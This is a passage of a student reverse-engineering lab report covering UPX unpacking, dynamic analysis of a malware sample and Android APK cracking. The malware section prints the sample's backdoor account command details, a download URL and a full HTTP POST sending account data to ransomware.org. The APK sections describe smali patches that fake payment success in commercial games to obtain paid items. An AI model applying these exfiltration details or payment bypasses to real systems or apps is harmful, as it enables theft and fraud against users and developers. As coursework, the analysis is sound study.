|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| 武汉大学国家网络安全学院教学实验报告 | | | | | |
| 课程名称 | 网络对抗演练 | | 实验日期 | | 2024/5/20 |
| 实验名称 | 逆向工程 | | 实验周次 | | 2 |
| 姓名 | 学号 | | 专业 | | 班级 |
| 赵伯俣 | 2021302181156 | | 信安 | | 6 |
| 刘竞优 | 2021302181057 | | 信安 | | 6 |
| 张竣尧 | 2021302181004 | | 信安 | | 7 |
| [一、实验目的 3](#_Toc167711290)  [1.day1 3](#_Toc167711291)  [2.day2 3](#_Toc167711292)  [3.day3 3](#_Toc167711293)  [4.day4 3](#_Toc167711294)  [5.day5 3](#_Toc167711295)  [二、实验要求 4](#_Toc167711296)  [1.day1 4](#_Toc167711297)  [2.day2 4](#_Toc167711298)  [3.day3 4](#_Toc167711299)  [4.day4 4](#_Toc167711300)  [5.day5 4](#_Toc167711301)  [三、实验内容 5](#_Toc167711302)  [1.day1 5](#_Toc167711303)  [2.day2 5](#_Toc167711304)  [3.day3 5](#_Toc167711305)  [4.day4 6](#_Toc167711306)  [5.day5 6](#_Toc167711307)  [四、实验步骤 7](#_Toc167711308)  [1.day1 7](#_Toc167711309)  [1.1编译源程序 7](#_Toc167711310)  [1.2对编译后的程序使用UPX Tool进行加壳 7](#_Toc167711311)  [1.3对加壳后的程序使用ESP定律法进行脱壳 8](#_Toc167711312)  [1.4 IDA分析脱壳后的程序 14](#_Toc167711313)  [1.5编写python脚本，求解出flag的内容 17](#_Toc167711314)  [2.day2 19](#_Toc167711315)  [2.1使用Directory Monitor分析恶意代码创建文件 19](#_Toc167711316)  [2.2 RegShot分析恶意代码修改注册表 21](#_Toc167711317)  [2.3分析恶意代码预留的后门账号 24](#_Toc167711318)  [2.4分析Wireshark恶意代码从公网下载信息 24](#_Toc167711319)  [2.5分析Wireshark恶意代码向公网上传的信息 27](#_Toc167711320)  [2.6使用Netstat分析恶意代码监听端口与返回内容 31](#_Toc167711321)  [3.day3 31](#_Toc167711322)  [3.1 实验一：qiantang 31](#_Toc167711323)  [3.2 实验二：seh 40](#_Toc167711324)  [3.3 实验三：RE\_Cirno 49](#_Toc167711325)  [4.day4 56](#_Toc167711326)  [4.1 rps.apk的动态逆向分析 56](#_Toc167711327)  [4.2 rps.apk的静态逆向分析 63](#_Toc167711328)  [4.3 wzry.apk的逆向分析 66](#_Toc167711329)  [5.day5 70](#_Toc167711330)  [5.1 signed.apk的逆向分析 70](#_Toc167711331)  [5.2 jstz.apk的逆向分析 79](#_Toc167711332)  [5.3 getflag.apk的逆向分析 93](#_Toc167711333)  [五、实验过程分析 98](#_Toc167711334)  [六、实验结果总结 98](#_Toc167711335)  [七、各人实验贡献与体会 99](#_Toc167711336)  [赵伯俣 99](#_Toc167711337)  [1.任务一 99](#_Toc167711338)  [2.任务二 102](#_Toc167711339)  [3.贡献 106](#_Toc167711340)  [4.体会 106](#_Toc167711341)  [刘竞优 106](#_Toc167711342)  [1.任务一 106](#_Toc167711343)  [2.任务二 108](#_Toc167711344)  [3.贡献 111](#_Toc167711345)  [4.体会 111](#_Toc167711346)  [张竣尧 111](#_Toc167711347)  [1.任务一 111](#_Toc167711348)  [2.任务二 112](#_Toc167711349)  [3.贡献 114](#_Toc167711350)  [4.体会 114](#_Toc167711351) | | | | | |
| 一、实验目的1.day1  * 掌握逆向工程加壳及脱壳  2.day2  * 掌握恶意代码动态分析  3.day3  * 掌握移动逆向基础及字节码修改 * 学会基本的Windows程序逆向分析方法，结合多种逆向框架进行基础的逆向分析，算法还原，得到re.exe的flag * RE\_Cirno题目的分析  4.day4  * 学会基本的Android程序逆向分析方法，结合多种逆向框架进行基础的逆向分析，hook，得到rps.apk的flag[截图] * rps.apk题目的分析 * 学会基本的Android程序逆向分析方法，结合多种逆向框架进行基础的逆向分析，算法还原分析，得到**wzry.apk**的加密密码 * **wzry.apk**题目的分析  5.day5  * 学会基本的Android程序逆向分析方法，结合多种逆向框架进行基础的逆向分析，hook，得到signed.apk的flag[截图] * 学会基本的Android程序逆向分析方法，结合多种逆向框架进行基础的逆向分析，算法还原分析，得到**jstz.apk**的关键信息 * 学会基本的Android程序逆向分析方法，结合多种逆向框架进行基础的逆向分析，算法还原分析，得到getflag**.apk**的关键信息 | | | | | |
| 二、实验要求1.day1 实验的关键步骤需要截图，并将相应代码粘贴至报告中。  报告中的代码使用等宽字体，对齐使用四个空格，禁止使用tab或双空格。 2.day2 实验需在虚拟机内运行  实验的关键步骤需要截图 3.day3 实验的关键步骤需要截图，并将相应代码粘贴至报告中。  报告中的代码使用等宽字体，对齐使用四个空格，禁止使用tab或双空格。 4.day4 本次实验采取以最终结果为目标，开放式解题。评分依据不唯一，例如可以将学习到的hook框架，从环境配置搭建中遇到的问题以及自己借助互联网资源进行解决的方法，以及所获取到的相关结果进行归纳总结，综合得分。 5.day5 本次实验采取以最终结果为目标，开放式解题。评分依据不唯一，例如可以将学习到的hook框架，从环境配置搭建中遇到的问题以及自己借助互联网资源进行解决的方法，以及所获取到的相关结果进行归纳总结，综合得分。  实验1 实验2 实验3 三选一 ，根据小组学习情况自行选择。 | | | | | |
| 三、实验内容1.day1  * 将下面的实验代码进行修改，并使用编译软件进行编译：   + 将代码中的key数组修改为学号   + 数组长度与组员数量相同 * 对编译后的程序使用UPX Tool进行加壳 * 对加壳后的程序使用ESP定律法进行脱壳 * 对脱壳后的程序使用IDA进行分析，并对IDA反编译后的伪C代码进行注释、变量重命名，截图，需要操作的函数为：main函数、加密函数 * 编写python脚本，求解出flag的内容  2.day2  * 使用Directory Monitor通过文件监控分析恶意代码创建了哪些文件？ * 使用RegShot分析恶意代码修改了哪个注册表？修改该注册表的作用？ * 分析恶意代码预留的后门账号？ * 分析Wireshark恶意代码从公网下载了什么内容，具体的链接是什么？ * 分析Wireshark恶意代码向公网上传了什么内容，目标的域名是什么？ * 使用Netstat分析恶意代码监听了什么端口？端口访问返回的内容是什么？  3.day3  * 实验题目1：   完成逆向题的qiantang apk题目，实现购买成功的功能实现效果   1. 对Android解压，进行文件格式的基本分析 2. 静态分析程序 3. 结合不同逆向工具，分析程序核心算法逻辑 4. 利用程序逻辑逆向分析支付功能的具体实践 5. 实现具体功能的patch，得到购买成功的效果  * 实验题目2：   完成逆向题的seh.apk题目，实现购买成功的功能实现效果   1. 对Android解压，进行文件格式的基本分析 2. 静态分析程序 3. 结合不同逆向工具，分析程序核心算法逻辑 4. 利用程序逻辑逆向支付功能的具体实践 5. 实现具体功能的patch，得到购买成功的效果  * 选做题   完成逆向题的RE\_Cirno题目，拿到flag字符串   1. binwalk分析提取程序 2. 静态分析程序 3. 结合不同逆向工具，分析程序核心算法逻辑 4. 利用程序逻辑逆向写出求解算法程序 5. 利用逆向求解算法拿到flag  4.day4  * 完成目标程序rps.apk的逆向分析, 拿到flag字符串 * 完成逆向题的**wzry.apk**题目，拿到勒索软件的锁屏密码  5.day5  * 完成目标程序bang.zip中 signed.apk的逆向分析 * signed.apk题目的分析 * dex文件结构的学习 * 软件加固的识别 * 基础的软件脱壳 * 完成目标程序**jstz.apk**的逆向分析 * unidbg的学习 * unidbg环境的搭建 * unidbg代码的编写 * jstz.apk题目的分析 * 完成目标程序getflag.apk的逆向分析。 * getflag**.apk**题目的分析 * 自定义算法的学习 * 自定义算法的逆向 * hook代码的编写 | | | | | |
| 四、实验步骤1.day11.1编译源程序 首先将key数组的值换成组员学号如下所示    运行程序后获取到程序的可执行程序test.exe   1.2对编译后的程序使用UPX Tool进行加壳 将test.exe放到upx根目录下    upx test.exe进行加壳   1.3对加壳后的程序使用ESP定律法进行脱壳 使用ollydgb将加壳后的可执行程序打开会弹出如下框    打开后的界面如下所示，起始指令为pushad可以确定为已经加壳    单步步过使程序运行到mov指令处    删除原有的断点，在ESP寄存器处右键点击“在数据窗口中跟随”来对esp下硬件断点    选中起始数据右键-断点-硬件访问-WORD设置断点    按下F9将程序运行到断点位置    F8运行该程序之后发现程序在循环执行该语句    将鼠标指向sub esp,-80语句按下F4之后将程序跳出循环，执行至当前语句    继续执行到第一个jmp语句按F7步入    步入后的第一条指令即为我们的OEP，在该程序位于0x004012D0位置    在地址（0x004012d0）处右键运行OllyDumpEx插件，点击Get EIP as OEP修复OEP之后点击Dump按钮进行脱壳    将导出后的文件放到IDApro中打开结果如下，可以看到没有报错    运行脱壳后的程序如下，发现可以成功运行，这里如果打开后不能够成功运行的话可以查看UPX版本，将UPX版本使用更低版本进行加壳之后再重新进行上面的步骤进行脱壳之后就可以成功运行。    另外的验证方法是可以将没有加壳的源程序在ollydbg中打开如下，可以发现定位到的程序起始位置就是我们找到的地址。   1.4 IDA分析脱壳后的程序 对脱壳后的程序使用IDA进行分析，对IDA反编译后的伪C代码进行注释、变量重命名，截图，需要操作的函数为：main函数、加密函数  将脱壳后的程序打开之后shift+F12打开字符串表    进入到 error flag部分之后找到一个函数按下x    进入到对应的函数关系图    之后按下F5得到反汇编之后的C代码      下面对C代码进行注释,在注释的过程中可能是因为在去壳的过程中可执行文件损坏的原因导致第二个printf不能与其他printf同时命名，因此在这里将其命名为printf\_0   1.5编写python脚本，求解出flag的内容 分析源码的加密过程  void encode(const char\* str) {      int xor[13];      for (int i = 0; i < 13; i++)      {          char str\_to\_int[3];          memset(str\_to\_int, '\0', 3);          strncpy(str\_to\_int, str + 2\*i, 2);          int decimal = strtol(str\_to\_int, NULL, 16);          input[i] = decimal;      }      memcpy(xor, input, sizeof(input));      for (int m = 11; m >= 0; m--)      {          input[m] = xor[m] ^ xor[m+1];      }      \_\_int64 key[] = {2021302181057,2021302181156,2021302181004};      int len\_key = sizeof(key)/sizeof(key[0]);      for (int l = 0; l < sizeof(input); l++) {          for (int j = 0; j < len\_key; j++) {              input[l] = input[l] ^ (int)(key[j] & 0xFF);          }      }  }  具体的加密过程如下：   1. 将输入的字符串按照每两个字符一组解析为十六进制数，存储在数组input中。 2. 复制input数组到xor数组。 3. 从数组的倒数第二个元素开始，将xor数组中的每个元素与后一个元素进行异或运算，并将结果存储回input数组中。 4. 定义一个包含3个元素的key数组，将每个元素与input数组中的每个元素进行按位异或运算。   解密的操作就是加密的逆操作，即将加密算法的第3步和第4步对调，写出脚本如下  def decrypt(tmp):      key = [2021302181057, 2021302181156, 2021302181004]      len\_key = len(key)      for l in range(len(tmp)):          for j in range(len\_key):              tmp[l] = tmp[l] ^ (key[j] & 0xFF)      for m in range(11, -1, -1):          tmp[m] = tmp[m] ^ tmp[m+1]        decrypted\_str = ''.join(format(num, '02x') for num in tmp)      return decrypted\_str    tmp = [67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79]    decrypted\_flag = decrypt(tmp)    print(decrypted\_flag)    运行脚本得到了tmp的原始数据如下：    将此结果作为输入传递给加密程序，可以得到flag   2.day22.1使用Directory Monitor分析恶意代码创建文件     查看新增的start.bat用于增加一个新的网络用户，并启动系统目录下的start.exe      从上图我们可以看出，除了我们的DirectoryMonitor生成的监控数据库文件之外（sqlite格式），剩下的应该就是我们start下载的东西，在windows/inf和wbem中下载了WmiApRpl.h与ini配置文件，查看里面基本都是网络相关说明  当我们新增“用户”目录监控之后，又多出了如下文件    这里应该是临时文件夹下的东西，我们就不管了。总的来说这个下面就新增了两个东西   2.2 RegShot分析恶意代码修改注册表 对于regshot我们先设置输出路径，然后点击1shot    接下来运行程序后（有个防火墙允许设置，算是提醒我们运行成功），之后点击2shot，然后compare，得到下面的res.txt    东西挺多的，我们慢慢看，首先就是键增加了8项，该项“HKU”代表用户配置；“S-1-xxx”代表用户的安全标识SID；“SOFTWARE\Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags”则是Explorer中相关设置信息    在上面的8个key中一共增加了45个值，我们可以看到最明显就是添加了rundll32.exe和start.exe，有一个是允许start.exe通过防火墙（这个应该是我们前面点的结果）    这个是修改的注册表项，下面是最后的统计   2.3分析恶意代码预留的后门账号 在恶意软件生成的start.bat文件中看到如下命令，该命令向windows添加名为backend，密码为123456的账户，并且设置start.exe软件开机自启动。   2.4分析Wireshark恶意代码从公网下载信息 查看虚拟机ip地址为192.168.11.135    查看操作机IP地址日下    过滤http协议可得数据包如下    对该数据包进行跟踪流可以得到如下结果    分析该TCP流可以得出，该恶意程序在58.240.236.228/start.exe下载内容，下载的内容如下所示，分析该数据的内容发现，数据包的开头为MZ由此可初步得出下载的内容为一个PE文件    分析该PE文件可以发现共有text、rdata、data、pdata、rsrc和reloc几个段  text包含程序的代码。  rdata部分存储只读数据，如字符串和常量。  data部分包含初始化的全局变量和静态变量。  pdata部分用于存储异常处理信息。  rsrc部分包含程序资源，如图标、菜单和对话框信息。  reloc部分包含重定位信息，允许程序的代码在内存中动态移动。  编写python程序将该文件中下载到的字符串转换为16进制字节的形式  编写的python脚本如下    将获取到的可执行程序放到虚拟机中运行发现并不能成功运行    将生成的可执行文件放入010editor中发现能够识别该可执行文件的部分内容   2.5分析Wireshark恶意代码向公网上传的信息 跟踪到第4个流之后可以看到向公网上传的数据包，可以发现目标的域名是ransomware.org    打开该包的内容如下    整个数据包的完整内容如下，我们可以分析到上传的内容是虚拟机的账户数据  POST /post HTTP/1.1  Host: ransomware.org  User-Agent: python-requests/2.32.2  Accept-Encoding: gzip, deflate  Accept: \*/\*  Connection: keep-alive  Content-Length: 1590    AccountType=512  Description=...............(...)...............  Disabled=TRUE  Domain=DESKTOP-HL8VDKP  FullName=  InstallDate=  LocalAccount=TRUE  Lockout=FALSE  Name=Administrator  PasswordChangeable=TRUE  PasswordExpires=FALSE  PasswordRequired=TRUE  SID=S-1-5-21-1677000941-211339485-1282770202-500  SIDType=1  Status=Degraded    AccountType=512  Description=  Disabled=FALSE  Domain=DESKTOP-HL8VDKP  FullName=  InstallDate=  LocalAccount=TRUE  Lockout=FALSE  Name=backend  PasswordChangeable=TRUE  PasswordExpires=TRUE  PasswordRequired=TRUE  SID=S-1-5-21-1677000941-211339485-1282770202-1001  SIDType=1  Status=OK    AccountType=512  Description=..............................  Disabled=TRUE  Domain=DESKTOP-HL8VDKP  FullName=  InstallDate=  LocalAccount=TRUE  Lockout=FALSE  Name=DefaultAccount  PasswordChangeable=TRUE  PasswordExpires=FALSE  PasswordRequired=FALSE  SID=S-1-5-21-1677000941-211339485-1282770202-503  SIDType=1  Status=Degraded    AccountType=512  Description=...................................................  Disabled=TRUE  Domain=DESKTOP-HL8VDKP  FullName=  InstallDate=  LocalAccount=TRUE  Lockout=FALSE  Name=Guest  PasswordChangeable=FALSE  PasswordExpires=FALSE  PasswordRequired=FALSE  SID=S-1-5-21-1677000941-211339485-1282770202-501  SIDType=1  Status=Degraded    AccountType=512  Description=  Disabled=FALSE  Domain=DESKTOP-HL8VDKP  FullName=  InstallDate=  LocalAccount=TRUE  Lockout=FALSE  Name=zby  PasswordChangeable=TRUE  PasswordExpires=TRUE  PasswordRequired=TRUE  SID=S-1-5-21-1677000941-211339485-1282770202-1000  SIDType=1    Status=OKHTTP/1.1 301 Moved Permanently  Date: Thu, 23 May 2024 07:27:15 GMT  Content-Type: text/html  Content-Length: 167  Connection: keep-alive  Cache-Control: max-age=3600  Expires: Thu, 23 May 2024 08:27:15 GMT  Location: https://ransomware.org/post  Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0uhD78R0QC%2FZwqRjuo58eGQ%2FLL3J36o1mMSMC5bLl1J388hXaMzQiebyetJjyAilXRek9DQTQpvvpdC9QtbF41Ejl5ebMV6UX2C4sr2iQvH2k7Pd9ALQkwpca4IZGmjlhg%3D%3D"}],"group":"cf-nel","max\_age":604800}  NEL: {"success\_fraction":0,"report\_to":"cf-nel","max\_age":604800}  Vary: Accept-Encoding  Server: cloudflare  CF-RAY: 8883528af9eb8523-HKG  alt-svc: h3=":443"; ma=86400    <html>  <head><title>301 Moved Permanently</title></head>  <body>  <center><h1>301 Moved Permanently</h1></center>  <hr><center>cloudflare</center>  </body>  </html>   2.6使用Netstat分析恶意代码监听端口与返回内容 在任务管理器中查看恶意软件的pid，3872、2148    使用netstat工具查看这两个进程使用的端口号，发现只有3872号进程在对0.0.0.0:55555进行监听    使用netcat工具监听本机的55555端口    使用net user查看当前主机的所有用户，发现与上面端口返回的内容一致   3.day33.1 实验一：qiantang3.1.1对Android解压，进行文件格式的基本分析 首先使用Android Killer打开钱塘apk文件如下图所示    目录下包含有assets目录，该目录保存应用使用的如文本、音频和视频等格式的原始文件；目录下的lib包含应用使用的本地库文件；original目录包含APK原始签名信息文件，可以用来查看签名详情；res目录包含应用的资源文件，如布局、字符串、图片等，这些文件在APK编译的过程中会被直接编译到resources.arsc中，在这里以原始形式存在；smali目录包含反编译后的smali代码，代表了应用的逻辑和功能；AndroidManifest.xml文件描述了应用的包名、组件（如活动、服务等）、所需权限和其他应用级别的属性。经过 Apktool 反编译后，这个文件应该是以可读的 XML 格式存在，可以查看或修改。  apktool.yml文件是 Apktool 在反编译过程中生成的一个配置文件，包含了反编译时使用的一些设置和 APK 特定的信息，如版本号和编译信息。 3.1.2静态分析程序jadx 因为本次的试验任务需要修改的内容是对支付功能进行修改，所以在分析程序时主要针对支付功能进行分析  首先使用jadx打开apk文件，因为在上一步中我们已经知道主要的支付功能代码保存到了com.ttzgame.pay目录下，打开该目录的pay文件如下所示    这段代码专门用于处理通过支付宝进行支付的流程。  首先构造函数接收一个Cocos2dxActivity类型的参数（一种Android游戏引擎提供的Activity），并传递给基类构造函数。  然后定义如下5个私有方法  （1）a(String str, String str2, String str3)：  生成支付宝支付请求的参数字符串。  包括商户ID、账户ID、交易编号、商品名称、商品详情、金额、通知URL、服务类型、支付类型、字符集、超时时间和返回URL等。  （2）b(String str)：  通过给定的产品ID来获取完整的支付参数字符串。  遍历预定义的产品数组，匹配产品ID，并使用a()方法生成参数字符串。  （3）c(String str)：  对给定的字符串进行签名（使用SignUtils类的a()方法）。  （4）e()：  生成唯一的交易编号，格式为MMddHHmmss加上随机数，截取前15位。  （5）f()：  返回固定的签名类型字符串，即使用RSA加密。  然后覆盖的公有方法a(final String str)：  接收一个商品ID，生成支付参数和签名，然后通过支付宝SDK（PayTask类）发起支付。使用URLEncoder.encode方法对签名进行URL编码。在子线程中调用支付宝支付功能，处理支付结果。根据支付结果回调，使用a(str, boolean)方法通知支付成功或失败。  然后进行多线程处理  使用new Thread(new Runnable(){...}).start()在新线程中执行支付任务，避免阻塞UI线程。  支付任务完成后，根据返回的结果码（如9000表示支付成功）来处理支付结果。  最后进行错误处理  如果URL编码时出现UnsupportedEncodingException异常，则打印异常堆栈。  总结来说，这段代码的主要功能是封装了支付宝支付的流程，包括生成支付参数、签名处理、调用支付接口，并根据支付结果执行回调。这样的设计使得支付处理与业务逻辑分离，便于维护和扩展。 jeb 上面的步骤也可以在jeb工具中进行操作如下所示打开目标文件，按下Tab键将代码进行反汇编，得到对应的java命令，如下图右侧所示    找到对应着支付成功部分的源码进行反汇编即可得到支付模块的Java代码    因为这段代码的功能在前面已经讨论过，这里只分析与jadx工具编译不同的地方  （1）缺少SignUtils类引用：在jadx工具的代码中，有一个c(String)方法调用了SignUtils.a(String)来进行签名处理，但是在这段代码中没有定义SignUtils类或者导入相关的包。这可能会导致编译错误。  （2）e()方法的实现不同：在之前的代码中，e()方法生成了唯一的交易编号，包括了时间戳和随机数，然后截取了前15位。但在这段代码中，e()方法的实现使用了一个无效的substring()调用，这会导致编译错误。  （3）f()方法的实现不同：在之前的代码中，f()方法返回了固定的签名类型字符串，即使用RSA加密。但在这段代码中，f()方法的实现并没有问题。  （4）a(String, String, String)方法的实现不同：这个方法用于生成支付参数字符串。在之前的代码中，参数字符串中包含了商品名称、商品详情等信息，并使用了加号连接这些信息。而在这段代码中，参数字符串的构造方式相同，但是连接字符串的方式更加简洁，直接使用了字符串拼接。 3.1.3结合不同逆向工具，分析程序核心算法逻辑jadx 使用上一步中jadx工具获取到的java代码分析代码的核心片段如下    支付片段的核心代码逻辑如下  （1）这里首先初始化变量：  a aVar;：声明一个a类型的变量aVar，即当前类的实例。  String str3;：声明一个字符串变量str3，用于存储商品ID。  boolean z = true;：声明一个布尔变量z，初始值为true，用于表示支付是否成功。  （2）然后发起支付并获取结果：  new PayTask(a.this.d()).pay(str2, true)：通过PayTask类的实例发起支付宝支付，传入支付参数字符串str2和true表示使用异步方式支付。  new c(...).a()：使用c类（可能是用于签名的辅助类）对支付结果进行处理，返回一个表示支付结果的字符串。  （3）之后根据支付结果进行处理：  if (TextUtils.equals(a2, "9000")) { ... }：如果支付结果为"9000"，表示支付成功。  将当前实例赋值给aVar。  将商品ID赋值给str3。  else if (TextUtils.equals(a2, "8000")) { return; }：如果支付结果为"8000"，表示支付结果待确认，这里直接返回，不做处理。  else { ... }：如果支付结果不是"9000"或"8000"，表示支付失败。  将当前实例赋值给aVar。  将商品ID赋值给str3。  将支付状态标记z设置为false，表示支付失败。  （4）最后执行支付结果回调：  aVar.a(str3, z);：调用当前实例的a()方法，传入商品ID和支付状态，以便通知支付结果给调用者。 jeb 使用jeb反汇编得到的java代码如下所示    因为前面的步骤中已经分析过该代码的具体功能，所以下面只是分析两个工具在反汇编过程产生的代码之间的具体差异  （1）变量定义：  jeb工具反汇编的代码中没有定义a和arg4变量，可能是因为这些变量在外部作用域中定义了，但没有在代码片段中显示。  （2）字符串拼接方式不同：  jeb工具反汇编的代码中使用了v0来拼接支付参数和签名，并且在字符串中使用了v1来表示签名值。而jdax的代码中，拼接方式略有不同，且没有使用v1变量。  （3）条件判断逻辑不同：  jeb工具反汇编的代码中，首先判断支付结果是否为"9000"，如果是则标记支付成功，否则判断是否为"8000"，如果也不是则标记支付失败。而jadx的代码中，逻辑稍有不同，先判断是否为"9000"，如果不是再判断是否为"8000"。 3.1.4利用程序逻辑逆向分析支付功能的具体实践 我们能够知道支付宝快捷支付成功都有一个特殊标志9000，之前的步骤中也是通过在项目文件中查找9000字段来定位到支付操作函数。  继续查看9000字段的源码如下    在这段代码中的if-eqz v1, :cond\_0语句起到判断支付是否成功的作用，判断支付结果是否与"9000"相等。如果支付结果与"9000"相等，那么会执行支付成功的逻辑，否则会继续执行后面的逻辑，判断是否为"8000"，以及最终标记支付失败。  因此如果我们直接将该语句删除，那么程序会在判断时直接判断支付成功，从而实现我们的目的。 3.1.5实现具体功能的patch，得到购买成功的效果 首先检索“9000”字段，该字段是支付宝成功支付的标志    在找到的内容中打开含有pay字段的部分，推测该部分是支付功能的代码    获取到该部分的源码如下    根据上一步中的猜测，我们将判断指令删除，使得程序直接判断支付成功    保存之后编译    将编译生成的apk文件发送到模拟器中，打开游戏界面，这里因为是第二次截图所以游戏内金币并不是原始的20，点击皮肤选择购买    在弹出的支付界面选择一个选项    成功弹出充值成功界面      重启游戏后发现成功实现充值   3.2 实验二：seh 完成逆向题的seh.apk题目，实现购买成功的功能实现效果  在Android Killer中打开she.apk项目，可以看到项目的目录结构如下    每个文件夹和文件的功能如下表格   |  |  | | --- | --- | | assets | 存放应用使用的原始资源文件，如音频、视频、文本等，这些文件不会被编译到 resources.arsc 中。 | | build | 包含与构建过程相关的一些中间文件或日志。这个文件夹不是 APK 反编译的标准输出，是由构建系统或开发环境自动生成的。 | | lib | 存放 APK 中的本地库文件（通常是 .so 文件），这些是为特定平台编译的二进制代码，例如 ARM、x86 等。 | | original | 包含 APK 原始的 META-INF 文件夹和签名文件。这里的文件通常不需要修改，但可以用来查看原始的签名信息。 | | res | 包含所有的资源文件，如布局（XML 文件）、图像（PNG 文件）和值资源（strings.xml 等）。 | | smail | 包含从 DEX 文件反编译得到的 smali 代码，这是一种低级的、与 Dalvik 字节码密切相关的汇编语言。修改这些文件可以改变应用的行为。 | | unknown | 这个文件夹包含无法直接识别或分类的文件。通常包含一些不符合标准文件命名或结构的文件，可能是由特定的构建工具或过程生成的。 | | AndroidManifest.xml | 包含了应用的整体描述信息，如定义的权限、活动（Activities）、服务（Services）等。 | | apktool.yml | 是 Apktool 在反编译时生成的配置文件，记录了一些关于如何重新打包 APK 的重要信息，如版本信息和使用的框架等。 |   使用jadx分析工具打开2seh项目，从分析结果中的源代码文件夹查看项目还原出的java代码，这里对支付相关的代码进行分析，直接搜索包含pay字段的类名，这里选择第一个类IAPHandlerPay的代码进行分析。    查看代码，可以看到此处代码的功能是针对接收到的消息，采取不同的处理措施，根据反编译出的java代码，可以猜测这个类是用于处理支付完成、支付失败、支付成功、网络问题等消息。    点击此类，并按x键，查看对此类的调用关系如下    接下来在JEB工具中查看IAPCallBack类的反编译java代码，可以看到这个类的功能用于接收支付回调结果，并将结果通过IAPHandlerPay发送给UI线程进行处理。同时，它也在界面上显示了相应的购买提示信息。  发现代码是通过传入的参数arg8来判断是否购买成功，我们可以尝试修改switch部分的代码使得无论购买是否成功，在switch中都跳转到购买成功的条件中使用IAPHandlerPay向UI线程发送成功的消息，绕过了支付过程。    由于我们只能修改smali源码，接下来使用Android Killer打开项目    在工程搜索中直接搜索类IAPCallBack，打开IAPCallBack.smali文件。    可以看到下面的代码是switch功能的开始，根据输入的p1的值进行分支判断并跳转到标签:pswitch\_data\_0处执行相应的代码逻辑。    查看标签:pswitch\_data\_0处的代码如下，.packed-switch 0x1表示根据输入值是否为1进行分支判断。如果输入值为1，则跳转到标签:pswitch\_0处执行相应的代码逻辑；如果输入值不为1，则跳转到标签:pswitch\_1处执行相应的代码逻辑。    查看标签:pswitch\_0处的代码，可以看到有两个unicode编码后的字符串。    鼠标悬停在这两个字符串上或使用Android Killer自带的编解码工具进行解码，可以知道对应的文本结果应该是“购买道具：[“和”] 成功！“，因此标签:pswitch\_0处的代码是处理支付成功情况的代码块。      因此当传入的参数p1等于1时，switch会去执行支付成功对应的代码，那么我们直接修改参数p1的值为常数1，伪造支付成功的信息。    重新编译并签名    将新的apk放入到模拟器中并运行，充值前钻石为840，充值后成功增加300钻石，成功绕过支付认证。      在支付过程中发现该游戏使用咕咪平台进行支付，如下图。    在网上搜索咕咪平台的支付方法，[【原创】赛尔号之勇者无敌2破解教程 - 『移动安全区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn](https://www.52pojie.cn/thread-723725-1-1.html)得知咪咕游戏支付方法名称如下：onresult、onResult，onchinabilling，resulton，Paycenter，Callback。 在Android Killer的工程搜索中搜索onresult，也是直接能够找到支付结果处理的方法。接着采用同样办法进行修改，一样可以绕过支付验证，白嫖游戏道具。    可以看到最终也是在破解版上直接将角色和技能刷到满级。   3.3 实验三：RE\_Cirno 我们打开压缩包，发现里两个图片，我们直接看最外面的图片，拖到01editor中查看，其开头就是jpeg的经典格式    但是根据后面的模板内容识别，后面还有exe文件    那么这里应该就跟misc类题目一样了，图片里面藏了其他文件，我们先拖到kali的binwalk进行分离      我们只选取最外层的re.exe进行分析，或者我们直接在7zip中进行选取（骚操作，非常神奇，虽然少东西，但提取出来的是对的）    接下来我们对re.exe进行分析，二话不说，我们先放到detectItEasy中进行查看，看看有关信息    根据上图所示，该PE文件是32位编写的，于是乎我们将其拖入到ida32中进行分析，函数结构很清晰，我们从main进入到main0中进行分析    可以看到左边红框圈住的就是我们的核心代码，右边的话应该是有关提示，我们按下F5反编译大法    我们看到这里的核心处理代码和前面的汇编代码并不相同，明显少了一个异或，根据汇编处的逻辑，应该是对数组中每一个数据依次进行+9，之后与9进行异或，而ida中只有+9操作。  我们可以据此来直接写脚本破解，因为逻辑并不困难，但是作为“武器大师”不能这么搞，我们拖到ghidra中进行测试    我们根据前面的xor的特征地址在鸡爪中使用导航快速来到相应位置，我们发现此时右边的反编译代码和我们的分析相照应，于是乎我们将这个函数截取出来进行脚本编写    上面只是粗糙的代码，我们需要先验证一下思路是否正确，编译运行后我们发现结果如下：    根据之前在ida中看到的提示“琪露诺酱在冻青蛙的路上,突然被9层栅栏反方向围住了,找不到方向,你可以帮助她找”我们很容易能够猜测到，这个字符串需要进行栅栏解密，需要注意的就是其中提到的“反方向”，也就是我们需要将这个字串先倒置再解密。我们找一个在线网站进行暴力测试    结果如上，思路正确，那么我们对脚本进行优化一下：  #include<stdio.h>  int main(){    int reverse[24] = {0};    int i;    int local\_64 [24] = {0x73, 0x5e, 0x61, 0x72, 0x67, 0x2f, 0x6b, 0x72, 0x41, 0x30, 0x31, 0x69, 0x75, 0x76, 0x65, 0x30, 0x71, 0x5f, 99, 0x2f, 0x5c, 0x74, 0x5d, 0x66};    for (i = 0; i < 24; ++i) {      reverse[23 - i] = local\_64[i] + 9U ^ 9;    }//uncry1}rC03{wvg0sae1ltof    for(int j = 0; j < 24; ++j){      printf("%c", reverse[j]);    }//fotl1eas0gvw{30Cr}1yrcnu    printf("\n");    int k = 0;    for(i = 0; i < 24; i++){      k = i / 8;      printf("%c", reverse[(i \* 3) % 24 + k]);    }//flag{C1co1sv3rynte0w0}ru    return 1;  }    这里如果我们用这个网站解密的话，会出来不一样的结果（[栅栏密码在线加密解密 - 千千秀字 (qqxiuzi.cn)](https://www.qqxiuzi.cn/bianma/zhalanmima.php)，中间结果是正确的！！！！！）    而其他网站如下：  [栅栏加密/解密 - Bugku CTF](https://ctf.bugku.com/tool/railfence)  [栅栏密码在线加密解密 - 站长工具网 (zhanid.com)](https://www.zhanid.com/tool/railfence.html)  和本人的脚本解出来的是上面的答案，也就是ru在括号外，证明我们的解密算法相同（当然不是很一样，下面会说明）。  那么我们推测一下，为什么会出现这种结果，我们对上面的flag{C1rno1sv3rycute0w0}，进行正向栅栏密码，可以得到前面的图中所示结果，可以看到24并非9的整数倍，后面多出来的3×2的数字，在其他网站中如果进行解密的话就是“@”字符进行顶替。    也就是说，此脚本是应该得是横向优先，而非本人的脚本这样的纵轴优先。那么我们的思路就清晰了，需要先满足每组9个的操作，修改后的脚本如下：  #include<stdio.h>  int 